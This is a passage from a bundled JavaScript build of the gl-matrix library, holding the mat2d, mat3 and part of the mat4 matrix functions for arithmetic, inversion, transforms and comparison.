@returns {mat2d} out */ function add$7(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; out[2] = a[2] + b[2]; out[3] = a[3] + b[3]; out[4] = a[4] + b[4]; out[5] = a[5] + b[5]; return out; } /** * Subtracts matrix b from matrix a * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the first operand * @param {ReadonlyMat2d} b the second operand * @returns {mat2d} out */ function subtract$5(out, a, b) { out[0] = a[0] - b[0]; out[1] = a[1] - b[1]; out[2] = a[2] - b[2]; out[3] = a[3] - b[3]; out[4] = a[4] - b[4]; out[5] = a[5] - b[5]; return out; } /** * Multiply each element of the matrix by a scalar. * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the matrix to scale * @param {Number} b amount to scale the matrix's elements by * @returns {mat2d} out */ function multiplyScalar$2(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; out[2] = a[2] * b; out[3] = a[3] * b; out[4] = a[4] * b; out[5] = a[5] * b; return out; } /** * Adds two mat2d's after multiplying each element of the second operand by a scalar value. * * @param {mat2d} out the receiving vector * @param {ReadonlyMat2d} a the first operand * @param {ReadonlyMat2d} b the second operand * @param {Number} scale the amount to scale b's elements by before adding * @returns {mat2d} out */ function multiplyScalarAndAdd$2(out, a, b, scale) { out[0] = a[0] + b[0] * scale; out[1] = a[1] + b[1] * scale; out[2] = a[2] + b[2] * scale; out[3] = a[3] + b[3] * scale; out[4] = a[4] + b[4] * scale; out[5] = a[5] + b[5] * scale; return out; } /** * Returns whether or not the matrices have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyMat2d} a The first matrix. * @param {ReadonlyMat2d} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function exactEquals$7(a, b) { return a[0] === b[0] && a[1] === b[1] && a[2] === b[2] && a[3] === b[3] && a[4] === b[4] && a[5] === b[5]; } /** * Returns whether or not the matrices have approximately the same elements in the same position. * * @param {ReadonlyMat2d} a The first matrix. * @param {ReadonlyMat2d} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function equals$7(a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3], a4 = a[4], a5 = a[5]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3], b4 = b[4], b5 = b[5]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)) && Math.abs(a2 - b2) <= EPSILON * Math.max(1.0, Math.abs(a2), Math.abs(b2)) && Math.abs(a3 - b3) <= EPSILON * Math.max(1.0, Math.abs(a3), Math.abs(b3)) && Math.abs(a4 - b4) <= EPSILON * Math.max(1.0, Math.abs(a4), Math.abs(b4)) && Math.abs(a5 - b5) <= EPSILON * Math.max(1.0, Math.abs(a5), Math.abs(b5)); } /** * Alias for {@link mat2d.multiply} * @function */ var mul$7 = multiply$7; /** * Alias for {@link mat2d.subtract} * @function */ var sub$5 = subtract$5; var mat2d = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$7, clone: clone$7, copy: copy$7, identity: identity$4, fromValues: fromValues$7, set: set$7, invert: invert$4, determinant: determinant$2, multiply: multiply$7, rotate: rotate$3, scale: scale$7, translate: translate$3, fromRotation: fromRotation$3, fromScaling: fromScaling$2, fromTranslation: fromTranslation$3, str: str$7, frob: frob$2, add: add$7, subtract: subtract$5, multiplyScalar: multiplyScalar$2, multiplyScalarAndAdd: multiplyScalarAndAdd$2, exactEquals: exactEquals$7, equals: equals$7, mul: mul$7, sub: sub$5 }); /** * 3x3 Matrix * @module mat3 */ /** * Creates a new identity mat3 * * @returns {mat3} a new 3x3 matrix */ function create$6() { var out = new ARRAY_TYPE(9); if (ARRAY_TYPE != Float32Array) { out[1] = 0; out[2] = 0; out[3] = 0; out[5] = 0; out[6] = 0; out[7] = 0; } out[0] = 1; out[4] = 1; out[8] = 1; return out; } /** * Copies the upper-left 3x3 values into the given mat3. * * @param {mat3} out the receiving 3x3 matrix * @param {ReadonlyMat4} a the source 4x4 matrix * @returns {mat3} out */ function fromMat4$1(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[4]; out[4] = a[5]; out[5] = a[6]; out[6] = a[8]; out[7] = a[9]; out[8] = a[10]; return out; } /** * Creates a new mat3 initialized with values from an existing matrix * * @param {ReadonlyMat3} a matrix to clone * @returns {mat3} a new 3x3 matrix */ function clone$6(a) { var out = new ARRAY_TYPE(9); out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[4] = a[4]; out[5] = a[5]; out[6] = a[6]; out[7] = a[7]; out[8] = a[8]; return out; } /** * Copy the values from one mat3 to another * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the source matrix * @returns {mat3} out */ function copy$6(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[4] = a[4]; out[5] = a[5]; out[6] = a[6]; out[7] = a[7]; out[8] = a[8]; return out; } /** * Create a new mat3 with the given values * * @param {Number} m00 Component in column 0, row 0 position (index 0) * @param {Number} m01 Component in column 0, row 1 position (index 1) * @param {Number} m02 Component in column 0, row 2 position (index 2) * @param {Number} m10 Component in column 1, row 0 position (index 3) * @param {Number} m11 Component in column 1, row 1 position (index 4) * @param {Number} m12 Component in column 1, row 2 position (index 5) * @param {Number} m20 Component in column 2, row 0 position (index 6) * @param {Number} m21 Component in column 2, row 1 position (index 7) * @param {Number} m22 Component in column 2, row 2 position (index 8) * @returns {mat3} A new mat3 */ function fromValues$6(m00, m01, m02, m10, m11, m12, m20, m21, m22) { var out = new ARRAY_TYPE(9); out[0] = m00; out[1] = m01; out[2] = m02; out[3] = m10; out[4] = m11; out[5] = m12; out[6] = m20; out[7] = m21; out[8] = m22; return out; } /** * Set the components of a mat3 to the given values * * @param {mat3} out the receiving matrix * @param {Number} m00 Component in column 0, row 0 position (index 0) * @param {Number} m01 Component in column 0, row 1 position (index 1) * @param {Number} m02 Component in column 0, row 2 position (index 2) * @param {Number} m10 Component in column 1, row 0 position (index 3) * @param {Number} m11 Component in column 1, row 1 position (index 4) * @param {Number} m12 Component in column 1, row 2 position (index 5) * @param {Number} m20 Component in column 2, row 0 position (index 6) * @param {Number} m21 Component in column 2, row 1 position (index 7) * @param {Number} m22 Component in column 2, row 2 position (index 8) * @returns {mat3} out */ function set$6(out, m00, m01, m02, m10, m11, m12, m20, m21, m22) { out[0] = m00; out[1] = m01; out[2] = m02; out[3] = m10; out[4] = m11; out[5] = m12; out[6] = m20; out[7] = m21; out[8] = m22; return out; } /** * Set a mat3 to the identity matrix * * @param {mat3} out the receiving matrix * @returns {mat3} out */ function identity$3(out) { out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 1; out[5] = 0; out[6] = 0; out[7] = 0; out[8] = 1; return out; } /** * Transpose the values of a mat3 * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the source matrix * @returns {mat3} out */ function transpose$1(out, a) { // If we are transposing ourselves we can skip a few steps but have to cache some values if (out === a) { var a01 = a[1], a02 = a[2], a12 = a[5]; out[1] = a[3]; out[2] = a[6]; out[3] = a01; out[5] = a[7]; out[6] = a02; out[7] = a12; } else { out[0] = a[0]; out[1] = a[3]; out[2] = a[6]; out[3] = a[1]; out[4] = a[4]; out[5] = a[7]; out[6] = a[2]; out[7] = a[5]; out[8] = a[8]; } return out; } /** * Inverts a mat3 * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the source matrix * @returns {mat3} out */ function invert$3(out, a) { var a00 = a[0], a01 = a[1], a02 = a[2]; var a10 = a[3], a11 = a[4], a12 = a[5]; var a20 = a[6], a21 = a[7], a22 = a[8]; var b01 = a22 * a11 - a12 * a21; var b11 = -a22 * a10 + a12 * a20; var b21 = a21 * a10 - a11 * a20; // Calculate the determinant var det = a00 * b01 + a01 * b11 + a02 * b21; if (!det) { return null; } det = 1.0 / det; out[0] = b01 * det; out[1] = (-a22 * a01 + a02 * a21) * det; out[2] = (a12 * a01 - a02 * a11) * det; out[3] = b11 * det; out[4] = (a22 * a00 - a02 * a20) * det; out[5] = (-a12 * a00 + a02 * a10) * det; out[6] = b21 * det; out[7] = (-a21 * a00 + a01 * a20) * det; out[8] = (a11 * a00 - a01 * a10) * det; return out; } /** * Calculates the adjugate of a mat3 * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the source matrix * @returns {mat3} out */ function adjoint$1(out, a) { var a00 = a[0], a01 = a[1], a02 = a[2]; var a10 = a[3], a11 = a[4], a12 = a[5]; var a20 = a[6], a21 = a[7], a22 = a[8]; out[0] = a11 * a22 - a12 * a21; out[1] = a02 * a21 - a01 * a22; out[2] = a01 * a12 - a02 * a11; out[3] = a12 * a20 - a10 * a22; out[4] = a00 * a22 - a02 * a20; out[5] = a02 * a10 - a00 * a12; out[6] = a10 * a21 - a11 * a20; out[7] = a01 * a20 - a00 * a21; out[8] = a00 * a11 - a01 * a10; return out; } /** * Calculates the determinant of a mat3 * * @param {ReadonlyMat3} a the source matrix * @returns {Number} determinant of a */ function determinant$1(a) { var a00 = a[0], a01 = a[1], a02 = a[2]; var a10 = a[3], a11 = a[4], a12 = a[5]; var a20 = a[6], a21 = a[7], a22 = a[8]; return a00 * (a22 * a11 - a12 * a21) + a01 * (-a22 * a10 + a12 * a20) + a02 * (a21 * a10 - a11 * a20); } /** * Multiplies two mat3's * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the first operand * @param {ReadonlyMat3} b the second operand * @returns {mat3} out */ function multiply$6(out, a, b) { var a00 = a[0], a01 = a[1], a02 = a[2]; var a10 = a[3], a11 = a[4], a12 = a[5]; var a20 = a[6], a21 = a[7], a22 = a[8]; var b00 = b[0], b01 = b[1], b02 = b[2]; var b10 = b[3], b11 = b[4], b12 = b[5]; var b20 = b[6], b21 = b[7], b22 = b[8]; out[0] = b00 * a00 + b01 * a10 + b02 * a20; out[1] = b00 * a01 + b01 * a11 + b02 * a21; out[2] = b00 * a02 + b01 * a12 + b02 * a22; out[3] = b10 * a00 + b11 * a10 + b12 * a20; out[4] = b10 * a01 + b11 * a11 + b12 * a21; out[5] = b10 * a02 + b11 * a12 + b12 * a22; out[6] = b20 * a00 + b21 * a10 + b22 * a20; out[7] = b20 * a01 + b21 * a11 + b22 * a21; out[8] = b20 * a02 + b21 * a12 + b22 * a22; return out; } /** * Translate a mat3 by the given vector * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the matrix to translate * @param {ReadonlyVec2} v vector to translate by * @returns {mat3} out */ function translate$2(out, a, v) { var a00 = a[0], a01 = a[1], a02 = a[2], a10 = a[3], a11 = a[4], a12 = a[5], a20 = a[6], a21 = a[7], a22 = a[8], x = v[0], y = v[1]; out[0] = a00; out[1] = a01; out[2] = a02; out[3] = a10; out[4] = a11; out[5] = a12; out[6] = x * a00 + y * a10 + a20; out[7] = x * a01 + y * a11 + a21; out[8] = x * a02 + y * a12 + a22; return out; } /** * Rotates a mat3 by the given angle * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the matrix to rotate * @param {Number} rad the angle to rotate the matrix by * @returns {mat3} out */ function rotate$2(out, a, rad) { var a00 = a[0], a01 = a[1], a02 = a[2], a10 = a[3], a11 = a[4], a12 = a[5], a20 = a[6], a21 = a[7], a22 = a[8], s = Math.sin(rad), c = Math.cos(rad); out[0] = c * a00 + s * a10; out[1] = c * a01 + s * a11; out[2] = c * a02 + s * a12; out[3] = c * a10 - s * a00; out[4] = c * a11 - s * a01; out[5] = c * a12 - s * a02; out[6] = a20; out[7] = a21; out[8] = a22; return out; } /** * Scales the mat3 by the dimensions in the given vec2 * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the matrix to rotate * @param {ReadonlyVec2} v the vec2 to scale the matrix by * @returns {mat3} out **/ function scale$6(out, a, v) { var x = v[0], y = v[1]; out[0] = x * a[0]; out[1] = x * a[1]; out[2] = x * a[2]; out[3] = y * a[3]; out[4] = y * a[4]; out[5] = y * a[5]; out[6] = a[6]; out[7] = a[7]; out[8] = a[8]; return out; } /** * Creates a matrix from a vector translation * This is equivalent to (but much faster than): * * mat3.identity(dest); * mat3.translate(dest, dest, vec); * * @param {mat3} out mat3 receiving operation result * @param {ReadonlyVec2} v Translation vector * @returns {mat3} out */ function fromTranslation$2(out, v) { out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 1; out[5] = 0; out[6] = v[0]; out[7] = v[1]; out[8] = 1; return out; } /** * Creates a matrix from a given angle * This is equivalent to (but much faster than): * * mat3.identity(dest); * mat3.rotate(dest, dest, rad); * * @param {mat3} out mat3 receiving operation result * @param {Number} rad the angle to rotate the matrix by * @returns {mat3} out */ function fromRotation$2(out, rad) { var s = Math.sin(rad), c = Math.cos(rad); out[0] = c; out[1] = s; out[2] = 0; out[3] = -s; out[4] = c; out[5] = 0; out[6] = 0; out[7] = 0; out[8] = 1; return out; } /** * Creates a matrix from a vector scaling * This is equivalent to (but much faster than): * * mat3.identity(dest); * mat3.scale(dest, dest, vec); * * @param {mat3} out mat3 receiving operation result * @param {ReadonlyVec2} v Scaling vector * @returns {mat3} out */ function fromScaling$1(out, v) { out[0] = v[0]; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = v[1]; out[5] = 0; out[6] = 0; out[7] = 0; out[8] = 1; return out; } /** * Copies the values from a mat2d into a mat3 * * @param {mat3} out the receiving matrix * @param {ReadonlyMat2d} a the matrix to copy * @returns {mat3} out **/ function fromMat2d(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = 0; out[3] = a[2]; out[4] = a[3]; out[5] = 0; out[6] = a[4]; out[7] = a[5]; out[8] = 1; return out; } /** * Calculates a 3x3 matrix from the given quaternion * * @param {mat3} out mat3 receiving operation result * @param {ReadonlyQuat} q Quaternion to create matrix from * * @returns {mat3} out */ function fromQuat$1(out, q) { var x = q[0], y = q[1], z = q[2], w = q[3]; var x2 = x + x; var y2 = y + y; var z2 = z + z; var xx = x * x2; var yx = y * x2; var yy = y * y2; var zx = z * x2; var zy = z * y2; var zz = z * z2; var wx = w * x2; var wy = w * y2; var wz = w * z2; out[0] = 1 - yy - zz; out[3] = yx - wz; out[6] = zx + wy; out[1] = yx + wz; out[4] = 1 - xx - zz; out[7] = zy - wx; out[2] = zx - wy; out[5] = zy + wx; out[8] = 1 - xx - yy; return out; } /** * Calculates a 3x3 normal matrix (transpose inverse) from the 4x4 matrix * * @param {mat3} out mat3 receiving operation result * @param {ReadonlyMat4} a Mat4 to derive the normal matrix from * * @returns {mat3} out */ function normalFromMat4(out, a) { var a00 = a[0], a01 = a[1], a02 = a[2], a03 = a[3]; var a10 = a[4], a11 = a[5], a12 = a[6], a13 = a[7]; var a20 = a[8], a21 = a[9], a22 = a[10], a23 = a[11]; var a30 = a[12], a31 = a[13], a32 = a[14], a33 = a[15]; var b00 = a00 * a11 - a01 * a10; var b01 = a00 * a12 - a02 * a10; var b02 = a00 * a13 - a03 * a10; var b03 = a01 * a12 - a02 * a11; var b04 = a01 * a13 - a03 * a11; var b05 = a02 * a13 - a03 * a12; var b06 = a20 * a31 - a21 * a30; var b07 = a20 * a32 - a22 * a30; var b08 = a20 * a33 - a23 * a30; var b09 = a21 * a32 - a22 * a31; var b10 = a21 * a33 - a23 * a31; var b11 = a22 * a33 - a23 * a32; // Calculate the determinant var det = b00 * b11 - b01 * b10 + b02 * b09 + b03 * b08 - b04 * b07 + b05 * b06; if (!det) { return null; } det = 1.0 / det; out[0] = (a11 * b11 - a12 * b10 + a13 * b09) * det; out[1] = (a12 * b08 - a10 * b11 - a13 * b07) * det; out[2] = (a10 * b10 - a11 * b08 + a13 * b06) * det; out[3] = (a02 * b10 - a01 * b11 - a03 * b09) * det; out[4] = (a00 * b11 - a02 * b08 + a03 * b07) * det; out[5] = (a01 * b08 - a00 * b10 - a03 * b06) * det; out[6] = (a31 * b05 - a32 * b04 + a33 * b03) * det; out[7] = (a32 * b02 - a30 * b05 - a33 * b01) * det; out[8] = (a30 * b04 - a31 * b02 + a33 * b00) * det; return out; } /** * Generates a 2D projection matrix with the given bounds * * @param {mat3} out mat3 frustum matrix will be written into * @param {number} width Width of your gl context * @param {number} height Height of gl context * @returns {mat3} out */ function projection(out, width, height) { out[0] = 2 / width; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = -2 / height; out[5] = 0; out[6] = -1; out[7] = 1; out[8] = 1; return out; } /** * Returns a string representation of a mat3 * * @param {ReadonlyMat3} a matrix to represent as a string * @returns {String} string representation of the matrix */ function str$6(a) { return "mat3(" + a[0] + ", " + a[1] + ", " + a[2] + ", " + a[3] + ", " + a[4] + ", " + a[5] + ", " + a[6] + ", " + a[7] + ", " + a[8] + ")"; } /** * Returns Frobenius norm of a mat3 * * @param {ReadonlyMat3} a the matrix to calculate Frobenius norm of * @returns {Number} Frobenius norm */ function frob$1(a) { return Math.hypot(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8]); } /** * Adds two mat3's * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the first operand * @param {ReadonlyMat3} b the second operand * @returns {mat3} out */ function add$6(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; out[2] = a[2] + b[2]; out[3] = a[3] + b[3]; out[4] = a[4] + b[4]; out[5] = a[5] + b[5]; out[6] = a[6] + b[6]; out[7] = a[7] + b[7]; out[8] = a[8] + b[8]; return out; } /** * Subtracts matrix b from matrix a * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the first operand * @param {ReadonlyMat3} b the second operand * @returns {mat3} out */ function subtract$4(out, a, b) { out[0] = a[0] - b[0]; out[1] = a[1] - b[1]; out[2] = a[2] - b[2]; out[3] = a[3] - b[3]; out[4] = a[4] - b[4]; out[5] = a[5] - b[5]; out[6] = a[6] - b[6]; out[7] = a[7] - b[7]; out[8] = a[8] - b[8]; return out; } /** * Multiply each element of the matrix by a scalar. * * @param {mat3} out the receiving matrix * @param {ReadonlyMat3} a the matrix to scale * @param {Number} b amount to scale the matrix's elements by * @returns {mat3} out */ function multiplyScalar$1(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; out[2] = a[2] * b; out[3] = a[3] * b; out[4] = a[4] * b; out[5] = a[5] * b; out[6] = a[6] * b; out[7] = a[7] * b; out[8] = a[8] * b; return out; } /** * Adds two mat3's after multiplying each element of the second operand by a scalar value. * * @param {mat3} out the receiving vector * @param {ReadonlyMat3} a the first operand * @param {ReadonlyMat3} b the second operand * @param {Number} scale the amount to scale b's elements by before adding * @returns {mat3} out */ function multiplyScalarAndAdd$1(out, a, b, scale) { out[0] = a[0] + b[0] * scale; out[1] = a[1] + b[1] * scale; out[2] = a[2] + b[2] * scale; out[3] = a[3] + b[3] * scale; out[4] = a[4] + b[4] * scale; out[5] = a[5] + b[5] * scale; out[6] = a[6] + b[6] * scale; out[7] = a[7] + b[7] * scale; out[8] = a[8] + b[8] * scale; return out; } /** * Returns whether or not the matrices have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyMat3} a The first matrix. * @param {ReadonlyMat3} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function exactEquals$6(a, b) { return a[0] === b[0] && a[1] === b[1] && a[2] === b[2] && a[3] === b[3] && a[4] === b[4] && a[5] === b[5] && a[6] === b[6] && a[7] === b[7] && a[8] === b[8]; } /** * Returns whether or not the matrices have approximately the same elements in the same position. * * @param {ReadonlyMat3} a The first matrix. * @param {ReadonlyMat3} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function equals$6(a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3], a4 = a[4], a5 = a[5], a6 = a[6], a7 = a[7], a8 = a[8]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3], b4 = b[4], b5 = b[5], b6 = b[6], b7 = b[7], b8 = b[8]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)) && Math.abs(a2 - b2) <= EPSILON * Math.max(1.0, Math.abs(a2), Math.abs(b2)) && Math.abs(a3 - b3) <= EPSILON * Math.max(1.0, Math.abs(a3), Math.abs(b3)) && Math.abs(a4 - b4) <= EPSILON * Math.max(1.0, Math.abs(a4), Math.abs(b4)) && Math.abs(a5 - b5) <= EPSILON * Math.max(1.0, Math.abs(a5), Math.abs(b5)) && Math.abs(a6 - b6) <= EPSILON * Math.max(1.0, Math.abs(a6), Math.abs(b6)) && Math.abs(a7 - b7) <= EPSILON * Math.max(1.0, Math.abs(a7), Math.abs(b7)) && Math.abs(a8 - b8) <= EPSILON * Math.max(1.0, Math.abs(a8), Math.abs(b8)); } /** * Alias for {@link mat3.multiply} * @function */ var mul$6 = multiply$6; /** * Alias for {@link mat3.subtract} * @function */ var sub$4 = subtract$4; var mat3 = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$6, fromMat4: fromMat4$1, clone: clone$6, copy: copy$6, fromValues: fromValues$6, set: set$6, identity: identity$3, transpose: transpose$1, invert: invert$3, adjoint: adjoint$1, determinant: determinant$1, multiply: multiply$6, translate: translate$2, rotate: rotate$2, scale: scale$6, fromTranslation: fromTranslation$2, fromRotation: fromRotation$2, fromScaling: fromScaling$1, fromMat2d: fromMat2d, fromQuat: fromQuat$1, normalFromMat4: normalFromMat4, projection: projection, str: str$6, frob: frob$1, add: add$6, subtract: subtract$4, multiplyScalar: multiplyScalar$1, multiplyScalarAndAdd: multiplyScalarAndAdd$1, exactEquals: exactEquals$6, equals: equals$6, mul: mul$6, sub: sub$4 }); /** * 4x4 Matrix<br>Format: column-major, when typed out it looks like row-major<br>The matrices are being post multiplied. * @module mat4 */ /** * Creates a new identity mat4 * * @returns {mat4} a new 4x4 matrix */ function create$5() { var out = new ARRAY_TYPE(16); if (ARRAY_TYPE != Float32Array) { out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; } out[0] = 1; out[5] = 1; out[10] = 1; out[15] = 1; return out; } /** * Creates a new mat4 initialized with values from an existing matrix * * @param {ReadonlyMat4} a matrix to clone * @returns {mat4} a new 4x4 matrix */ function clone$5(a) { var out = new ARRAY_TYPE(16); out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[4] = a[4]; out[5] = a[5]; out[6] = a[6]; out[7] = a[7]; out[8] = a[8]; out[9] = a[9]; out[10] = a[10]; out[11] = a[11]; out[12] = a[12]; out[13] = a[13]; out[14] = a[14]; out[15] = a[15]; return out; } /** * Copy the values from one mat4 to another * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the source matrix * @returns {mat4} out */ function copy$5(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[4] = a[4]; out[5] = a[5]; out[6] = a[6]; out[7] = a[7]; out[8] = a[8]; out[9] = a[9]; out[10] = a[10]; out[11] = a[11]; out[12] = a[12]; out[13] = a[13]; out[14] = a[14]; out[15] = a[15]; return out; } /** * Create a new mat4 with the given values * * @param {Number} m00 Component in column 0, row 0 position (index 0) * @param {Number} m01 Component in column 0, row 1 position (index 1) * @param {Number} m02 Component in column 0, row 2 position (index 2) * @param {Number} m03 Component in column 0, row 3 position (index 3) * @param {Number} m10 Component in column 1, row 0 position (index 4) * @param {Number} m11 Component in column 1, row 1 position (index 5) * @param {Number} m12 Component in column 1, row 2 position (index 6) * @param {Number} m13 Component in column 1, row 3 position (index 7) * @param {Number} m20 Component in column 2, row 0 position (index 8) * @param {Number} m21 Component in column 2, row 1 position (index 9) * @param {Number} m22 Component in column 2, row 2 position (index 10) * @param {Number} m23 Component in column 2, row 3 position (index 11) * @param {Number} m30 Component in column 3, row 0 position (index 12) * @param {Number} m31 Component in column 3, row 1 position (index 13) * @param {Number} m32 Component in column 3, row 2 position (index 14) * @param {Number} m33 Component in column 3, row 3 position (index 15) * @returns {mat4} A new mat4 */ function fromValues$5(m00, m01, m02, m03, m10, m11, m12, m13, m20, m21, m22, m23, m30, m31, m32, m33) { var out = new ARRAY_TYPE(16); out[0] = m00; out[1] = m01; out[2] = m02; out[3] = m03; out[4] = m10; out[5] = m11; out[6] = m12; out[7] = m13; out[8] = m20; out[9] = m21; out[10] = m22; out[11] = m23; out[12] = m30; out[13] = m31; out[14] = m32; out[15] = m33; return out; } /** * Set the components of a mat4 to the given values * * @param {mat4} out the receiving matrix * @param {Number} m00 Component in column 0, row 0 position (index 0) * @param {Number} m01 Component in column 0, row 1 position (index 1) * @param {Number} m02 Component in column 0, row 2 position (index 2) * @param {Number} m03 Component in column 0, row 3 position (index 3) * @param {Number} m10 Component in column 1, row 0 position (index 4) * @param {Number} m11 Component in column 1, row 1 position (index 5) * @param {Number} m12 Component in column 1, row 2 position (index 6) * @param {Number} m13 Component in column 1, row 3 position (index 7) * @param {Number} m20 Component in column 2, row 0 position (index 8) * @param {Number} m21 Component in column 2, row 1 position (index 9) * @param {Number} m22 Component in column 2, row 2 position (index 10) * @param {Number} m23 Component in column 2, row 3 position (index 11) * @param {Number} m30 Component in column 3, row 0 position (index 12) * @param {Number} m31 Component in column 3, row 1 position (index 13) * @param {Number} m32 Component in column 3, row 2 position (index 14) * @param {Number} m33 Component in column 3, row 3 position (index 15) * @returns {mat4} out */ function set$5(out, m00, m01, m02, m03, m10, m11, m12, m13, m20, m21, m22, m23, m30, m31, m32, m33) { out[0] = m00; out[1] = m01; out[2] = m02; out[3] = m03; out[4] = m10; out[5] = m11; out[6] = m12; out[7] = m13; out[8] = m20; out[9] = m21; out[10] = m22; out[11] = m23; out[12] = m30; out[13] = m31; out[14] = m32; out[15] = m33; return out; } /** * Set a mat4 to the identity matrix * * @param {mat4} out the receiving matrix * @returns {mat4} out */ function identity$2(out) { out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = 1; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[10] = 1; out[11] = 0; out[12] = 0; out[13] = 0; out[14] = 0; out[15] = 1; return out; } /** * Transpose the values of a mat4 * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the source matrix * @returns {mat4} out */ function transpose(out, a) { // If we are transposing ourselves we can skip a few steps but have to cache some values if (out === a) { var a01 = a[1], a02 = a[2], a03 = a[3]; var a12 = a[6], a13 = a[7]; var a23 = a[11]; out[1] = a[4]; out[2] = a[8]; out[3] = a[12]; out[4] = a01; out[6] = a[9]; out[7] = a[13]; out[8] = a02; out[9] = a12; out[11] = a[14]; out[12] = a03; out[13] = a13; out[14] = a23; } else { out[0] = a[0]; out[1] = a[4]; out[2] = a[8]; out[3] = a[12]; out[4] = a[1]; out[5] = a[5]; out[6] = a[9]; out[7] = a[13]; out[8] = a[2]; out[9] = a[6]; out[10] = a[10]; out[11] = a[14]; out[12] = a[3]; out[13] = a[7]; out[14] = a[11]; out[15] = a[15]; } return out; } /** * Inverts a mat4 * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the source matrix * @returns {mat4} out */ function invert$2(out, a) { var a00 = a[0], a01 = a[1], a02 = a[2], a03 = a[3]; var a10 = a[4], a11 = a[5], a12 = a[6], a13 = a[7]; var a20 = a[8], a21 = a[9], a22 = a[10], a23 = a[11]; var a30 = a[12], a31 = a[13], a32 = a[14], a33 = a[15]; var b00 = a00 * a11 - a01 * a10; var b01 = a00 * a12 - a02 * a10; var b02 = a00 * a13 - a03 * a10; var b03 = a01 * a12 - a02 * a11; var b04 = a01 * a13 - a03 * a11; var b05 = a02 * a13 - a03 * a12; var b06 = a20 * a31 - a21 * a30; var b07 = a20 * a32 - a22 * a30; var b08 = a20 * a33 - a23 * a30; var b09 = a21 * a32 - a22 * a31; var b10 = a21 * a33 - a23 * a31; var b11 = a22 * a33 - a23 * a32; // Calculate the determinant var det = b00 * b11 - b01 * b10 + b02 * b09 + b03 * b08 - b04 * b07 + b05 * b06; if (!det) { return null; } det = 1.0 / det; out[0] = (a11 * b11 - a12 * b10 + a13 * b09) * det; out[1] = (a02 * b10 - a01 * b11 - a03 * b09) * det; out[2] = (a31 * b05 - a32 * b04 + a33 * b03) * det; out[3] = (a22 * b04 - a21 * b05 - a23 * b03) * det; out[4] = (a12 * b08 - a10 * b11 - a13 * b07) * det; out[5] = (a00 * b11 - a02 * b08 + a03 * b07) * det; out[6] = (a32 * b02 - a30 * b05 - a33 * b01) * det; out[7] = (a20 * b05 - a22 * b02 + a23 * b01) * det; out[8] = (a10 * b10 - a11 * b08 + a13 * b06) * det; out[9] = (a01 * b08 - a00 * b10 - a03 * b06) * det; out[10] = (a30 * b04 - a31 * b02 + a33 * b00) * det; out[11] = (a21 * b02 - a20 * b04 - a23 * b00) * det; out[12] = (a11 * b07 - a10 * b09 - a12 * b06) * det; out[13] = (a00 * b09 - a01 * b07 + a02 * b06) * det; out[14] = (a31 * b01 - a30 * b03 - a32 * b00) * det; out[15] = (a20 * b03 - a21 * b01 + a22 * b00) * det; return out; } /** * Calculates the adjugate of a mat4 * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the source matrix * @returns {mat4} out */ function adjoint(out, a) { var a00 = a[0], a01 = a[1], a02 = a[2], a03 = a[3]; var a10 = a[4], a11 = a[5], a12 = a[6], a13 = a[7]; var a20 = a[8], a21 = a[9], a22 = a[10], a23 = a[11]; var a30 = a[12], a31 = a[13], a32 = a[14], a33 = a[15]; var b00 = a00 * a11 - a01 * a10; var b01 = a00 * a12 